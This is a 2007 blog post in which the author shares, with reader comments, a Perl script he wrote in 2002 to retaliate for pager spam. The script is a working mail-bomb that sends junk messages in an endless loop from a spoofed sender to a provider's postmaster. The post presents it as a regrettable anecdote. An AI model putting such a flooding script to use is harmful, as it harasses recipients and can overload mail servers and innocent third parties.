I just found an old (circa 2002) Perl script that I wrote very early one morning after being spammed repeatedly on my pager/cell phone.

It looks like this...

#!/usr/local/bin/perl -w

$|=1;

use strict;
use Net::SMTP;

my $lines     = 100;
my $mail_from = "dev\@null.com";
my $smtp_host = "mail.XXXXXX-online.com";
my $mail_to   = "postmaster\@XXXXXX-online.com";
my $subject   = "Why did you spam my pager?!";

my $line = "Q" x 72;
$line  .= "\n";

my $smtp = Net::SMTP->new($smtp_host, Debug => 0) or die "$!";

while (1)
{
    $smtp->mail($mail_from)                  or die "$!";
    $smtp->to($mail_to)                      or die "$!";
    $smtp->data()                            or die "$!" ;
    $smtp->datasend("To: $mail_to\n")        or die "$!";
    $smtp->datasend("Subject: $subject\n")   or die "$!";
    $smtp->datasend("\n")                    or die "$!";

    for (1 .. $lines)
    {
        $smtp->datasend($line)               or die "$!";
    }

    $smtp->dataend()                         or die "$!";
    #$smtp->quit;

    print ".";
}

print "\n";

Heh.

Do not code when you're angry, kids...

If nothing else, it's interesting to see how my coding style has evolved in some ways but not in others--at least my "coding while pissed off" style.

Posted by jzawodn at March 01, 2007 10:34 PM

Reader Comments
# weasel said:

Infinite loop warning :D

on March 2, 2007 12:04 AM
# AlliXSenoS said:

re: weasel

I think this is one of those 'run until I get to the level of retribution satisfcation needed to press ctrl+c' programs :)

on March 2, 2007 12:44 AM
# Aaron Brazell said:

Heh. Sick. :p

on March 2, 2007 04:37 AM
# PanMan said:

Do you know those mails end up with the spammer? I can notice, from the many undilevered responses, and some angry replies, that random adresses on my domain has been used for some spam runs. So, in your case, I would receive those 100 mails, while having nothing to do with it. Furtunately, the code to filter those would be even shorter :).
If anyone knows a way to prevent my domain from being used as sender in spam, I'm really interested. I know turing of the cachall would help not receiving the errors, but that's not really an option, as I haven't tracked which adresses are in use.

on March 2, 2007 05:21 AM
# Pooya Karimian said:

PanMan, in 2002 spammers just knew how to write something like the code above in VBScript though! They weren't using other domain names or these fancy things.

on March 2, 2007 08:22 AM
# Arcterex said:

Yup, I got angry and did something like that when a search engine company (tehoma?) got stuck in a users infinite php page loop on my server and started hammering my server, spidering an infinite php tarpit (not intentionally created) with about 60 bots. Ended up on the phone with their support guys pretty quickly, because apparently my 1..100 email to their support mail got sent out to 80 or so support people. Ooops.

on March 2, 2007 02:21 PM
# Sarah Thomson said:

Nice one, I changed my urls to wpcco.php and I am seeing intelligent spambots that issue a GET request for my blog page, then find the changed url by looking at the source! then they issue a POST full of spam to my renamed file! ahh.

http://www.askapache.com/2007/htaccess/fight-blog-spam-with-apache.html

on March 14, 2007 04:07 PM
Disclaimer: The opinions expressed here are mine and mine alone. My current, past, or previous employers are not responsible for what I write here, the comments left by others, or the photos I may share. If you have questions, please contact me. Also, I am not a journalist or reporter. Don't "pitch" me.

 

Privacy: I do not share or publish the email addresses or IP addresses of anyone posting a comment here without consent. However, I do reserve the right to remove comments that are spammy, off-topic, or otherwise unsuitable based on my comment policy. In a few cases, I may leave spammy comments but remove any URLs they contain.